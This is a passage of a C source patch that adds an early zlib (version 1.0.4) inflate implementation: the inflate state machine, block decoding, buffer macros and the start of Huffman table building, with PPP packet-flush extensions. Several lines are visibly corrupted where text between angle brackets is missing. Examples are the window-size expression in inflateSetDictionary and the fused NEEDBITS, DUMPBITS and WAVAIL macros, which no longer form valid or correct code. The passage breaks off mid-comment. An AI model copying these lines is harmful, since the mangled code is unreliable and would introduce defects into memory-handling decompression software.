inflate_blocks_statef *s, + const Bytef *d, /* dictionary */ + uInt n)); /* dictionary length */ + +extern int inflate_addhistory OF(( + inflate_blocks_statef *, + z_streamp)); + +extern int inflate_packet_flush OF(( + inflate_blocks_statef *)); +/* --- infblock.h */ + +#ifndef NO_DUMMY_DECL +struct inflate_blocks_state {int dummy;}; /* for buggy compilers */ +#endif + +/* inflate private state */ +struct internal_state { + + /* mode */ + enum { + METHOD, /* waiting for method byte */ + FLAG, /* waiting for flag byte */ + DICT4, /* four dictionary check bytes to go */ + DICT3, /* three dictionary check bytes to go */ + DICT2, /* two dictionary check bytes to go */ + DICT1, /* one dictionary check byte to go */ + DICT0, /* waiting for inflateSetDictionary */ + BLOCKS, /* decompressing blocks */ + CHECK4, /* four check bytes to go */ + CHECK3, /* three check bytes to go */ + CHECK2, /* two check bytes to go */ + CHECK1, /* one check byte to go */ + DONE, /* finished check, done */ + BAD} /* got an error--stay here */ + mode; /* current inflate mode */ + + /* mode dependent information */ + union { + uInt method; /* if FLAGS, method byte */ + struct { + uLong was; /* computed check value */ + uLong need; /* stream check value */ + } check; /* if CHECK, check values to compare */ + uInt marker; /* if BAD, inflateSync's marker bytes count */ + } sub; /* submode */ + + /* mode independent information */ + int nowrap; /* flag for no wrapper */ + uInt wbits; /* log2(window size) (8..15, defaults to 15) */ + inflate_blocks_statef + *blocks; /* current inflate_blocks state */ + +}; + + +int inflateReset(z_streamp z) +{ + uLong c; + + if (z == Z_NULL || z->state == Z_NULL) + return Z_STREAM_ERROR; + z->total_in = z->total_out = 0; + z->msg = Z_NULL; + z->state->mode = z->state->nowrap ? BLOCKS : METHOD; + inflate_blocks_reset(z->state->blocks, z, &c); + Trace((stderr, "inflate: reset\n")); + return Z_OK; +} + + +int inflateEnd(z_streamp z) +{ + uLong c; + + if (z == Z_NULL || z->state == Z_NULL || z->zfree == Z_NULL) + return Z_STREAM_ERROR; + if (z->state->blocks != Z_NULL) + inflate_blocks_free(z->state->blocks, z, &c); + ZFREE(z, z->state); + z->state = Z_NULL; + Trace((stderr, "inflate: end\n")); + return Z_OK; +} + + +int inflateInit2_(z_streamp z, int w, const char *version, int stream_size) +{ + if (version == Z_NULL || version[0] != ZLIB_VERSION[0] || + stream_size != sizeof(z_stream)) + return Z_VERSION_ERROR; + + /* initialize state */ + if (z == Z_NULL) + return Z_STREAM_ERROR; + z->msg = Z_NULL; +#ifndef NO_ZCFUNCS + if (z->zalloc == Z_NULL) + { + z->zalloc = zcalloc; + z->opaque = (voidpf)0; + } + if (z->zfree == Z_NULL) z->zfree = zcfree; +#endif + if ((z->state = (struct internal_state FAR *) + ZALLOC(z,1,sizeof(struct internal_state))) == Z_NULL) + return Z_MEM_ERROR; + z->state->blocks = Z_NULL; + + /* handle undocumented nowrap option (no zlib header or check) */ + z->state->nowrap = 0; + if (w < 0) + { + w = - w; + z->state->nowrap = 1; + } + + /* set window size */ + if (w < 8 || w > 15) + { + inflateEnd(z); + return Z_STREAM_ERROR; + } + z->state->wbits = (uInt)w; + + /* create inflate_blocks state */ + if ((z->state->blocks = + inflate_blocks_new(z, z->state->nowrap ? Z_NULL : adler32, (uInt)1 << w)) + == Z_NULL) + { + inflateEnd(z); + return Z_MEM_ERROR; + } + Trace((stderr, "inflate: allocated\n")); + + /* reset state */ + inflateReset(z); + return Z_OK; +} + + +int inflateInit_(z_streamp z, const char *version, int stream_size) +{ + return inflateInit2_(z, DEF_WBITS, version, stream_size); +} + + +#define NEEDBYTE {if(z->avail_in==0)goto empty;r=Z_OK;} +#define NEXTBYTE (z->avail_in--,z->total_in++,*z->next_in++) + +int inflate(z_streamp z, int f) +{ + int r; + uInt b; + + if (z == Z_NULL || z->state == Z_NULL || z->next_in == Z_NULL || f < 0) + return Z_STREAM_ERROR; + r = Z_BUF_ERROR; + while (1) switch (z->state->mode) + { + case METHOD: + NEEDBYTE + if (((z->state->sub.method = NEXTBYTE) & 0xf) != Z_DEFLATED) + { + z->state->mode = BAD; + z->msg = (char*)"unknown compression method"; + z->state->sub.marker = 5; /* can't try inflateSync */ + break; + } + if ((z->state->sub.method >> 4) + 8 > z->state->wbits) + { + z->state->mode = BAD; + z->msg = (char*)"invalid window size"; + z->state->sub.marker = 5; /* can't try inflateSync */ + break; + } + z->state->mode = FLAG; + case FLAG: + NEEDBYTE + b = NEXTBYTE; + if (((z->state->sub.method << 8) + b) % 31) + { + z->state->mode = BAD; + z->msg = (char*)"incorrect header check"; + z->state->sub.marker = 5; /* can't try inflateSync */ + break; + } + Trace((stderr, "inflate: zlib header ok\n")); + if (!(b & PRESET_DICT)) + { + z->state->mode = BLOCKS; + break; + } + z->state->mode = DICT4; + case DICT4: + NEEDBYTE + z->state->sub.check.need = (uLong)NEXTBYTE << 24; + z->state->mode = DICT3; + case DICT3: + NEEDBYTE + z->state->sub.check.need += (uLong)NEXTBYTE << 16; + z->state->mode = DICT2; + case DICT2: + NEEDBYTE + z->state->sub.check.need += (uLong)NEXTBYTE << 8; + z->state->mode = DICT1; + case DICT1: + NEEDBYTE + z->state->sub.check.need += (uLong)NEXTBYTE; + z->adler = z->state->sub.check.need; + z->state->mode = DICT0; + return Z_NEED_DICT; + case DICT0: + z->state->mode = BAD; + z->msg = (char*)"need dictionary"; + z->state->sub.marker = 0; /* can try inflateSync */ + return Z_STREAM_ERROR; + case BLOCKS: + r = inflate_blocks(z->state->blocks, z, r); + if (f == Z_PACKET_FLUSH && z->avail_in == 0 && z->avail_out != 0) + r = inflate_packet_flush(z->state->blocks); + if (r == Z_DATA_ERROR) + { + z->state->mode = BAD; + z->state->sub.marker = 0; /* can try inflateSync */ + break; + } + if (r != Z_STREAM_END) + return r; + r = Z_OK; + inflate_blocks_reset(z->state->blocks, z, &z->state->sub.check.was); + if (z->state->nowrap) + { + z->state->mode = DONE; + break; + } + z->state->mode = CHECK4; + case CHECK4: + NEEDBYTE + z->state->sub.check.need = (uLong)NEXTBYTE << 24; + z->state->mode = CHECK3; + case CHECK3: + NEEDBYTE + z->state->sub.check.need += (uLong)NEXTBYTE << 16; + z->state->mode = CHECK2; + case CHECK2: + NEEDBYTE + z->state->sub.check.need += (uLong)NEXTBYTE << 8; + z->state->mode = CHECK1; + case CHECK1: + NEEDBYTE + z->state->sub.check.need += (uLong)NEXTBYTE; + + if (z->state->sub.check.was != z->state->sub.check.need) + { + z->state->mode = BAD; + z->msg = (char*)"incorrect data check"; + z->state->sub.marker = 5; /* can't try inflateSync */ + break; + } + Trace((stderr, "inflate: zlib check ok\n")); + z->state->mode = DONE; + case DONE: + return Z_STREAM_END; + case BAD: + return Z_DATA_ERROR; + default: + return Z_STREAM_ERROR; + } + + empty: + if (f != Z_PACKET_FLUSH) + return r; + z->state->mode = BAD; + z->msg = (char *)"need more for packet flush"; + z->state->sub.marker = 0; /* can try inflateSync */ + return Z_DATA_ERROR; +} + + +int inflateSetDictionary(z_streamp z, const Bytef *dictionary, uInt dictLength) +{ + uInt length = dictLength; + + if (z == Z_NULL || z->state == Z_NULL || z->state->mode != DICT0) + return Z_STREAM_ERROR; + + if (adler32(1L, dictionary, dictLength) != z->adler) return Z_DATA_ERROR; + z->adler = 1L; + + if (length >= ((uInt)1<state->wbits)) + { + length = (1<state->wbits)-1; + dictionary += dictLength - length; + } + inflate_set_dictionary(z->state->blocks, dictionary, length); + z->state->mode = BLOCKS; + return Z_OK; +} + +/* + * This subroutine adds the data at next_in/avail_in to the output history + * without performing any output. The output buffer must be "caught up"; + * i.e. no pending output (hence s->read equals s->write), and the state must + * be BLOCKS (i.e. we should be willing to see the start of a series of + * BLOCKS). On exit, the output will also be caught up, and the checksum + * will have been updated if need be. + */ + +int inflateIncomp(z_streamp z) +{ + if (z->state->mode != BLOCKS) + return Z_DATA_ERROR; + return inflate_addhistory(z->state->blocks, z); +} + + +int inflateSync(z_streamp z) +{ + uInt n; /* number of bytes to look at */ + Bytef *p; /* pointer to bytes */ + uInt m; /* number of marker bytes found in a row */ + uLong r, w; /* temporaries to save total_in and total_out */ + + /* set up */ + if (z == Z_NULL || z->state == Z_NULL) + return Z_STREAM_ERROR; + if (z->state->mode != BAD) + { + z->state->mode = BAD; + z->state->sub.marker = 0; + } + if ((n = z->avail_in) == 0) + return Z_BUF_ERROR; + p = z->next_in; + m = z->state->sub.marker; + + /* search */ + while (n && m < 4) + { + if (*p == (Byte)(m < 2 ? 0 : 0xff)) + m++; + else if (*p) + m = 0; + else + m = 4 - m; + p++, n--; + } + + /* restore */ + z->total_in += (uLong)(p - z->next_in); + z->next_in = p; + z->avail_in = n; + z->state->sub.marker = m; + + /* return no joy or set up to restart on a new block */ + if (m != 4) + return Z_DATA_ERROR; + r = z->total_in; w = z->total_out; + inflateReset(z); + z->total_in = r; z->total_out = w; + z->state->mode = BLOCKS; + return Z_OK; +} + +#undef NEEDBYTE +#undef NEXTBYTE +/* --- inflate.c */ + +/* +++ infblock.c */ +/* infblock.c -- interpret and process block types to last block + * Copyright (C) 1995-1996 Mark Adler + * For conditions of distribution and use, see copyright notice in zlib.h + */ + +/* #include "zutil.h" */ +/* #include "infblock.h" */ + +/* +++ inftrees.h */ +/* inftrees.h -- header to use inftrees.c + * Copyright (C) 1995-1996 Mark Adler + * For conditions of distribution and use, see copyright notice in zlib.h + */ + +/* WARNING: this file should *not* be used by applications. It is + part of the implementation of the compression library and is + subject to change. Applications should only use zlib.h. + */ + +/* Huffman code lookup table entry--this entry is four bytes for machines + that have 16-bit pointers (e.g. PC's in the small or medium model). */ + +typedef struct inflate_huft_s FAR inflate_huft; + +struct inflate_huft_s { + union { + struct { + Byte Exop; /* number of extra bits or operation */ + Byte Bits; /* number of bits in this code or subcode */ + } what; + Bytef *pad; /* pad structure to a power of 2 (4 bytes for */ + } word; /* 16-bit, 8 bytes for 32-bit machines) */ + union { + uInt Base; /* literal, length base, or distance base */ + inflate_huft *Next; /* pointer to next level of table */ + } more; +}; + +#ifdef DEBUG_ZLIB + extern uInt inflate_hufts; +#endif + +extern int inflate_trees_bits OF(( + uIntf *, /* 19 code lengths */ + uIntf *, /* bits tree desired/actual depth */ + inflate_huft * FAR *, /* bits tree result */ + z_streamp )); /* for zalloc, zfree functions */ + +extern int inflate_trees_dynamic OF(( + uInt, /* number of literal/length codes */ + uInt, /* number of distance codes */ + uIntf *, /* that many (total) code lengths */ + uIntf *, /* literal desired/actual bit depth */ + uIntf *, /* distance desired/actual bit depth */ + inflate_huft * FAR *, /* literal/length tree result */ + inflate_huft * FAR *, /* distance tree result */ + z_streamp )); /* for zalloc, zfree functions */ + +extern int inflate_trees_fixed OF(( + uIntf *, /* literal desired/actual bit depth */ + uIntf *, /* distance desired/actual bit depth */ + inflate_huft * FAR *, /* literal/length tree result */ + inflate_huft * FAR *)); /* distance tree result */ + +extern int inflate_trees_free OF(( + inflate_huft *, /* tables to free */ + z_streamp )); /* for zfree function */ + +/* --- inftrees.h */ + +/* +++ infcodes.h */ +/* infcodes.h -- header to use infcodes.c + * Copyright (C) 1995-1996 Mark Adler + * For conditions of distribution and use, see copyright notice in zlib.h + */ + +/* WARNING: this file should *not* be used by applications. It is + part of the implementation of the compression library and is + subject to change. Applications should only use zlib.h. + */ + +struct inflate_codes_state; +typedef struct inflate_codes_state FAR inflate_codes_statef; + +extern inflate_codes_statef *inflate_codes_new OF(( + uInt, uInt, + inflate_huft *, inflate_huft *, + z_streamp )); + +extern int inflate_codes OF(( + inflate_blocks_statef *, + z_streamp , + int)); + +extern void inflate_codes_free OF(( + inflate_codes_statef *, + z_streamp )); + +/* --- infcodes.h */ + +/* +++ infutil.h */ +/* infutil.h -- types and macros common to blocks and codes + * Copyright (C) 1995-1996 Mark Adler + * For conditions of distribution and use, see copyright notice in zlib.h + */ + +/* WARNING: this file should *not* be used by applications. It is + part of the implementation of the compression library and is + subject to change. Applications should only use zlib.h. + */ + +#ifndef _INFUTIL_H +#define _INFUTIL_H + +typedef enum { + TYPE, /* get type bits (3, including end bit) */ + LENS, /* get lengths for stored */ + STORED, /* processing stored block */ + TABLE, /* get table lengths */ + BTREE, /* get bit lengths tree for a dynamic block */ + DTREE, /* get length, distance trees for a dynamic block */ + CODES, /* processing fixed or dynamic block */ + DRY, /* output remaining window bytes */ + DONEB, /* finished last block, done */ + BADB} /* got a data error--stuck here */ +inflate_block_mode; + +/* inflate blocks semi-private state */ +struct inflate_blocks_state { + + /* mode */ + inflate_block_mode mode; /* current inflate_block mode */ + + /* mode dependent information */ + union { + uInt left; /* if STORED, bytes left to copy */ + struct { + uInt table; /* table lengths (14 bits) */ + uInt index; /* index into blens (or border) */ + uIntf *blens; /* bit lengths of codes */ + uInt bb; /* bit length tree depth */ + inflate_huft *tb; /* bit length decoding tree */ + } trees; /* if DTREE, decoding info for trees */ + struct { + inflate_huft *tl; + inflate_huft *td; /* trees to free */ + inflate_codes_statef + *codes; + } decode; /* if CODES, current state */ + } sub; /* submode */ + uInt last; /* true if this block is the last block */ + + /* mode independent information */ + uInt bitk; /* bits in bit buffer */ + uLong bitb; /* bit buffer */ + Bytef *window; /* sliding window */ + Bytef *end; /* one byte after sliding window */ + Bytef *read; /* window read pointer */ + Bytef *write; /* window write pointer */ + check_func checkfn; /* check function */ + uLong check; /* check on output */ + +}; + + +/* defines for inflate input/output */ +/* update pointers and return */ +#define UPDBITS {s->bitb=b;s->bitk=k;} +#define UPDIN {z->avail_in=n;z->total_in+=(uLong)(p-z->next_in);z->next_in=p;} +#define UPDOUT {s->write=q;} +#define UPDATE {UPDBITS UPDIN UPDOUT} +#define LEAVE {UPDATE return inflate_flush(s,z,r);} +/* get bytes and bits */ +#define LOADIN {p=z->next_in;n=z->avail_in;b=s->bitb;k=s->bitk;} +#define NEEDBYTE {if(n)r=Z_OK;else LEAVE} +#define NEXTBYTE (n--,*p++) +#define NEEDBITS(j) {while(k<(j)){NEEDBYTE;b|=((uLong)NEXTBYTE)<>=(j);k-=(j);} +/* output bytes */ +#define WAVAIL (uInt)(qread?s->read-q-1:s->end-q) +#define LOADOUT {q=s->write;m=(uInt)WAVAIL;} +#define WWRAP {if(q==s->end&&s->read!=s->window){q=s->window;m=(uInt)WAVAIL;}} +#define FLUSH {UPDOUT r=inflate_flush(s,z,r); LOADOUT} +#define NEEDOUT {if(m==0){WWRAP if(m==0){FLUSH WWRAP if(m==0) LEAVE}}r=Z_OK;} +#define OUTBYTE(a) {*q++=(Byte)(a);m--;} +/* load local pointers */ +#define LOAD {LOADIN LOADOUT} + +/* masks for lower bits (size given to avoid silly warnings with Visual C++) */ +extern uInt inflate_mask[17]; + +/* copy as much as possible from the sliding window to the output area */ +extern int inflate_flush OF(( + inflate_blocks_statef *, + z_streamp , + int)); + +#ifndef NO_DUMMY_DECL +struct internal_state {int dummy;}; /* for buggy compilers */ +#endif + +#endif +/* --- infutil.h */ + +#ifndef NO_DUMMY_DECL +struct inflate_codes_state {int dummy;}; /* for buggy compilers */ +#endif + +/* Table for deflate from PKZIP's appnote.txt. */ +local const uInt border[] = { /* Order of the bit length code lengths */ + 16, 17, 18, 0, 8, 7, 9, 6, 10, 5, 11, 4, 12, 3, 13, 2, 14, 1, 15}; + +/* + Notes beyond the 1.93a appnote.txt: + + 1. Distance pointers never point before the beginning of the output + stream. + 2. Distance pointers can point back across blocks, up to 32k away. + 3. There is an implied maximum of 7 bits for the bit length table and + 15 bits for the actual data. + 4. If only one code exists, then it is encoded using one bit. (Zero + would be more efficient, but perhaps a little confusing.) If two + codes exist, they are coded using one bit each (0 and 1). + 5. There is no way of sending zero distance codes--a dummy must be + sent if there are none. (History: a pre 2.0 version of PKZIP would + store blocks with no distance codes, but this was discovered to be + too harsh a criterion.) Valid only for 1.93a. 2.04c does allow + zero distance codes, which is sent as one code of zero bits in + length. + 6. There are up to 286 literal/length codes. Code 256 represents the + end-of-block. Note however that the static length tree defines + 288 codes just to fill out the Huffman codes. Codes 286 and 287 + cannot be used though, since there is no length base or extra bits + defined for them. Similarily, there are up to 30 distance codes. + However, static trees define 32 codes (all 5 bits) to fill out the + Huffman codes, but the last two had better not show up in the data. + 7. Unzip can check dynamic Huffman blocks for complete code sets. + The exception is that a single code would not be complete (see #4). + 8. The five bits following the block type is really the number of + literal codes sent minus 257. + 9. Length codes 8,16,16 are interpreted as 13 length codes of 8 bits + (1+6+6). Therefore, to output three times the length, you output + three codes (1+1+1), whereas to output four times the same length, + you only need two codes (1+3). Hmm. + 10. In the tree reconstruction algorithm, Code = Code + Increment + only if BitLength(i) is not zero. (Pretty obvious.) + 11. Correction: 4 Bits: # of Bit Length codes - 4 (4 - 19) + 12. Note: length code 284 can represent 227-258, but length code 285 + really is 258. The last length deserves its own, short code + since it gets used a lot in very redundant files. The length + 258 is special since 258 - 3 (the min match length) is 255. + 13. The literal/length and distance code bit lengths are read as a + single stream of lengths. It is possible (and advantageous) for + a repeat code (16, 17, or 18) to go across the boundary between + the two sets of lengths. + */ + + +void inflate_blocks_reset(inflate_blocks_statef *s, z_streamp z, uLongf *c) +{ + if (s->checkfn != Z_NULL) + *c = s->check; + if (s->mode == BTREE || s->mode == DTREE) + ZFREE(z, s->sub.trees.blens); + if (s->mode == CODES) + { + inflate_codes_free(s->sub.decode.codes, z); + inflate_trees_free(s->sub.decode.td, z); + inflate_trees_free(s->sub.decode.tl, z); + } + s->mode = TYPE; + s->bitk = 0; + s->bitb = 0; + s->read = s->write = s->window; + if (s->checkfn != Z_NULL) + z->adler = s->check = (*s->checkfn)(0L, Z_NULL, 0); + Trace((stderr, "inflate: blocks reset\n")); +} + + +inflate_blocks_statef *inflate_blocks_new(z_streamp z, check_func c, uInt w) +{ + inflate_blocks_statef *s; + + if ((s = (inflate_blocks_statef *)ZALLOC + (z,1,sizeof(struct inflate_blocks_state))) == Z_NULL) + return s; + if ((s->window = (Bytef *)ZALLOC(z, 1, w)) == Z_NULL) + { + ZFREE(z, s); + return Z_NULL; + } + s->end = s->window + w; + s->checkfn = c; + s->mode = TYPE; + Trace((stderr, "inflate: blocks allocated\n")); + inflate_blocks_reset(s, z, &s->check); + return s; +} + + +#ifdef DEBUG_ZLIB + extern uInt inflate_hufts; +#endif +int inflate_blocks(inflate_blocks_statef *s, z_streamp z, int r) +{ + uInt t; /* temporary storage */ + uLong b; /* bit buffer */ + uInt k; /* bits in bit buffer */ + Bytef *p; /* input data pointer */ + uInt n; /* bytes available there */ + Bytef *q; /* output window write pointer */ + uInt m; /* bytes to end of window or read pointer */ + + /* copy input/output information to locals (UPDATE macro restores) */ + LOAD + + /* process input based on current state */ + while (1) switch (s->mode) + { + case TYPE: + NEEDBITS(3) + t = (uInt)b & 7; + s->last = t & 1; + switch (t >> 1) + { + case 0: /* stored */ + Trace((stderr, "inflate: stored block%s\n", + s->last ? " (last)" : "")); + DUMPBITS(3) + t = k & 7; /* go to byte boundary */ + DUMPBITS(t) + s->mode = LENS; /* get length of stored block */ + break; + case 1: /* fixed */ + Trace((stderr, "inflate: fixed codes block%s\n", + s->last ? " (last)" : "")); + { + uInt bl, bd; + inflate_huft *tl, *td; + + inflate_trees_fixed(&bl, &bd, &tl, &td); + s->sub.decode.codes = inflate_codes_new(bl, bd, tl, td, z); + if (s->sub.decode.codes == Z_NULL) + { + r = Z_MEM_ERROR; + LEAVE + } + s->sub.decode.tl = Z_NULL; /* don't try to free these */ + s->sub.decode.td = Z_NULL; + } + DUMPBITS(3) + s->mode = CODES; + break; + case 2: /* dynamic */ + Trace((stderr, "inflate: dynamic codes block%s\n", + s->last ? " (last)" : "")); + DUMPBITS(3) + s->mode = TABLE; + break; + case 3: /* illegal */ + DUMPBITS(3) + s->mode = BADB; + z->msg = (char*)"invalid block type"; + r = Z_DATA_ERROR; + LEAVE + } + break; + case LENS: + NEEDBITS(32) + if ((((~b) >> 16) & 0xffff) != (b & 0xffff)) + { + s->mode = BADB; + z->msg = (char*)"invalid stored block lengths"; + r = Z_DATA_ERROR; + LEAVE + } + s->sub.left = (uInt)b & 0xffff; + b = k = 0; /* dump bits */ + Tracev((stderr, "inflate: stored length %u\n", s->sub.left)); + s->mode = s->sub.left ? STORED : (s->last ? DRY : TYPE); + break; + case STORED: + if (n == 0) + LEAVE + NEEDOUT + t = s->sub.left; + if (t > n) t = n; + if (t > m) t = m; + zmemcpy(q, p, t); + p += t; n -= t; + q += t; m -= t; + if ((s->sub.left -= t) != 0) + break; + Tracev((stderr, "inflate: stored end, %lu total out\n", + z->total_out + (q >= s->read ? q - s->read : + (s->end - s->read) + (q - s->window)))); + s->mode = s->last ? DRY : TYPE; + break; + case TABLE: + NEEDBITS(14) + s->sub.trees.table = t = (uInt)b & 0x3fff; +#ifndef PKZIP_BUG_WORKAROUND + if ((t & 0x1f) > 29 || ((t >> 5) & 0x1f) > 29) + { + s->mode = BADB; + z->msg = (char*)"too many length or distance symbols"; + r = Z_DATA_ERROR; + LEAVE + } +#endif + t = 258 + (t & 0x1f) + ((t >> 5) & 0x1f); + if (t < 19) + t = 19; + if ((s->sub.trees.blens = (uIntf*)ZALLOC(z, t, sizeof(uInt))) == Z_NULL) + { + r = Z_MEM_ERROR; + LEAVE + } + DUMPBITS(14) + s->sub.trees.index = 0; + Tracev((stderr, "inflate: table sizes ok\n")); + s->mode = BTREE; + case BTREE: + while (s->sub.trees.index < 4 + (s->sub.trees.table >> 10)) + { + NEEDBITS(3) + s->sub.trees.blens[border[s->sub.trees.index++]] = (uInt)b & 7; + DUMPBITS(3) + } + while (s->sub.trees.index < 19) + s->sub.trees.blens[border[s->sub.trees.index++]] = 0; + s->sub.trees.bb = 7; + t = inflate_trees_bits(s->sub.trees.blens, &s->sub.trees.bb, + &s->sub.trees.tb, z); + if (t != Z_OK) + { + r = t; + if (r == Z_DATA_ERROR) { + ZFREE(z, s->sub.trees.blens); + s->mode = BADB; + } + LEAVE + } + s->sub.trees.index = 0; + Tracev((stderr, "inflate: bits tree ok\n")); + s->mode = DTREE; + case DTREE: + while (t = s->sub.trees.table, + s->sub.trees.index < 258 + (t & 0x1f) + ((t >> 5) & 0x1f)) + { + inflate_huft *h; + uInt i, j, c; + + t = s->sub.trees.bb; + NEEDBITS(t) + h = s->sub.trees.tb + ((uInt)b & inflate_mask[t]); + t = h->word.what.Bits; + c = h->more.Base; + if (c < 16) + { + DUMPBITS(t) + s->sub.trees.blens[s->sub.trees.index++] = c; + } + else /* c == 16..18 */ + { + i = c == 18 ? 7 : c - 14; + j = c == 18 ? 11 : 3; + NEEDBITS(t + i) + DUMPBITS(t) + j += (uInt)b & inflate_mask[i]; + DUMPBITS(i) + i = s->sub.trees.index; + t = s->sub.trees.table; + if (i + j > 258 + (t & 0x1f) + ((t >> 5) & 0x1f) || + (c == 16 && i < 1)) + { + inflate_trees_free(s->sub.trees.tb, z); + ZFREE(z, s->sub.trees.blens); + s->mode = BADB; + z->msg = (char*)"invalid bit length repeat"; + r = Z_DATA_ERROR; + LEAVE + } + c = c == 16 ? s->sub.trees.blens[i - 1] : 0; + do { + s->sub.trees.blens[i++] = c; + } while (--j); + s->sub.trees.index = i; + } + } + inflate_trees_free(s->sub.trees.tb, z); + s->sub.trees.tb = Z_NULL; + { + uInt bl, bd; + inflate_huft *tl, *td; + inflate_codes_statef *c; + + bl = 9; /* must be <= 9 for lookahead assumptions */ + bd = 6; /* must be <= 9 for lookahead assumptions */ + t = s->sub.trees.table; +#ifdef DEBUG_ZLIB + inflate_hufts = 0; +#endif + t = inflate_trees_dynamic(257 + (t & 0x1f), 1 + ((t >> 5) & 0x1f), + s->sub.trees.blens, &bl, &bd, &tl, &td, z); + if (t != Z_OK) + { + if (t == (uInt)Z_DATA_ERROR) { + ZFREE(z, s->sub.trees.blens); + s->mode = BADB; + } + r = t; + LEAVE + } + Tracev((stderr, "inflate: trees ok, %d * %d bytes used\n", + inflate_hufts, sizeof(inflate_huft))); + if ((c = inflate_codes_new(bl, bd, tl, td, z)) == Z_NULL) + { + inflate_trees_free(td, z); + inflate_trees_free(tl, z); + r = Z_MEM_ERROR; + LEAVE + } + /* + * this ZFREE must occur *BEFORE* we mess with sub.decode, because + * sub.trees is union'd with sub.decode. + */ + ZFREE(z, s->sub.trees.blens); + s->sub.decode.codes = c; + s->sub.decode.tl = tl; + s->sub.decode.td = td; + } + s->mode = CODES; + case CODES: + UPDATE + if ((r = inflate_codes(s, z, r)) != Z_STREAM_END) + return inflate_flush(s, z, r); + r = Z_OK; + inflate_codes_free(s->sub.decode.codes, z); + inflate_trees_free(s->sub.decode.td, z); + inflate_trees_free(s->sub.decode.tl, z); + LOAD + Tracev((stderr, "inflate: codes end, %lu total out\n", + z->total_out + (q >= s->read ? q - s->read : + (s->end - s->read) + (q - s->window)))); + if (!s->last) + { + s->mode = TYPE; + break; + } + if (k > 7) /* return unused byte, if any */ + { + Assert(k < 16, "inflate_codes grabbed too many bytes") + k -= 8; + n++; + p--; /* can always return one */ + } + s->mode = DRY; + case DRY: + FLUSH + if (s->read != s->write) + LEAVE + s->mode = DONEB; + case DONEB: + r = Z_STREAM_END; + LEAVE + case BADB: + r = Z_DATA_ERROR; + LEAVE + default: + r = Z_STREAM_ERROR; + LEAVE + } +} + + +int inflate_blocks_free(inflate_blocks_statef *s, z_streamp z, uLongf *c) +{ + inflate_blocks_reset(s, z, c); + ZFREE(z, s->window); + ZFREE(z, s); + Trace((stderr, "inflate: blocks freed\n")); + return Z_OK; +} + + +void inflate_set_dictionary(inflate_blocks_statef *s, const Bytef *d, uInt n) +{ + zmemcpy((charf *)s->window, d, n); + s->read = s->write = s->window + n; +} + +/* + * This subroutine adds the data at next_in/avail_in to the output history + * without performing any output. The output buffer must be "caught up"; + * i.e. no pending output (hence s->read equals s->write), and the state must + * be BLOCKS (i.e. we should be willing to see the start of a series of + * BLOCKS). On exit, the output will also be caught up, and the checksum + * will have been updated if need be. + */ +int inflate_addhistory(inflate_blocks_statef *s, z_stream *z) +{ + uLong b; /* bit buffer */ /* NOT USED HERE */ + uInt k; /* bits in bit buffer */ /* NOT USED HERE */ + uInt t; /* temporary storage */ + Bytef *p; /* input data pointer */ + uInt n; /* bytes available there */ + Bytef *q; /* output window write pointer */ + uInt m; /* bytes to end of window or read pointer */ + + if (s->read != s->write) + return Z_STREAM_ERROR; + if (s->mode != TYPE) + return Z_DATA_ERROR; + + /* we're ready to rock */ + LOAD + /* while there is input ready, copy to output buffer, moving + * pointers as needed. + */ + while (n) { + t = n; /* how many to do */ + /* is there room until end of buffer? */ + if (t > m) t = m; + /* update check information */ + if (s->checkfn != Z_NULL) + s->check = (*s->checkfn)(s->check, q, t); + zmemcpy(q, p, t); + q += t; + p += t; + n -= t; + z->total_out += t; + s->read = q; /* drag read pointer forward */ +/* WWRAP */ /* expand WWRAP macro by hand to handle s->read */ + if (q == s->end) { + s->read = q = s->window; + m = WAVAIL; + } + } + UPDATE + return Z_OK; +} + + +/* + * At the end of a Deflate-compressed PPP packet, we expect to have seen + * a `stored' block type value but not the (zero) length bytes. + */ +int inflate_packet_flush(inflate_blocks_statef *s) +{ + if (s->mode != LENS) + return Z_DATA_ERROR; + s->mode = TYPE; + return Z_OK; +} +/* --- infblock.c */ + +/* +++ inftrees.c */ +/* inftrees.c -- generate Huffman trees for efficient decoding + * Copyright (C) 1995-1996 Mark Adler + * For conditions of distribution and use, see copyright notice in zlib.h + */ + +/* #include "zutil.h" */ +/* #include "inftrees.h" */ + +char inflate_copyright[] = " inflate 1.0.4 Copyright 1995-1996 Mark Adler "; +/* + If you use the zlib library in a product, an acknowledgment is welcome + in the documentation of your product. If for some reason you cannot + include such an acknowledgment, I would appreciate that you keep this + copyright string in the executable of your product. + */ + +#ifndef NO_DUMMY_DECL +struct internal_state {int dummy;}; /* for buggy compilers */ +#endif + +/* simplify the use of the inflate_huft type with some defines */ +#define base more.Base +#define next more.Next +#define exop word.what.Exop +#define bits word.what.Bits + + +local int huft_build OF(( + uIntf *, /* code lengths in bits */ + uInt, /* number of codes */ + uInt, /* number of "simple" codes */ + const uIntf *, /* list of base values for non-simple codes */ + const uIntf *, /* list of extra bits for non-simple codes */ + inflate_huft * FAR*,/* result: starting table */ + uIntf *, /* maximum lookup bits (returns actual) */ + z_streamp )); /* for zalloc function */ + +local voidpf falloc OF(( + voidpf, /* opaque pointer (not used) */ + uInt, /* number of items */ + uInt)); /* size of item */ + +/* Tables for deflate from PKZIP's appnote.txt. */ +local const uInt cplens[31] = { /* Copy lengths for literal codes 257..285 */ + 3, 4, 5, 6, 7, 8, 9, 10, 11, 13, 15, 17, 19, 23, 27, 31, + 35, 43, 51, 59, 67, 83, 99, 115, 131, 163, 195, 227, 258, 0, 0}; + /* see note #13 above about 258 */ +local const uInt cplext[31] = { /* Extra bits for literal codes 257..285 */ + 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 2, 2, 2, 2, + 3, 3, 3, 3, 4, 4, 4, 4, 5, 5, 5, 5, 0, 112, 112}; /* 112==invalid */ +local const uInt cpdist[30] = { /* Copy offsets for distance codes 0..29 */ + 1, 2, 3, 4, 5, 7, 9, 13, 17, 25, 33, 49, 65, 97, 129, 193, + 257, 385, 513, 769, 1025, 1537, 2049, 3073, 4097, 6145, + 8193, 12289, 16385, 24577}; +local const uInt cpdext[30] = { /* Extra bits for distance codes */ + 0, 0, 0, 0, 1, 1, 2, 2, 3, 3, 4, 4, 5, 5, 6, 6, + 7, 7, 8, 8, 9, 9, 10, 10, 11, 11, + 12, 12, 13, 13}; + +/* + Huffman code decoding is performed using a multi-level table lookup. + The fastest way to decode is to simply build a lookup table whose + size is determined by the longest code. However, the time it takes + to build this table can also be a factor if the data being decoded + is not very long. The most common codes are necessarily the + shortest codes, so those codes dominate the decoding time, and hence + the speed. The idea is you can have a shorter table that decodes the + shorter, more probable codes, and then point to 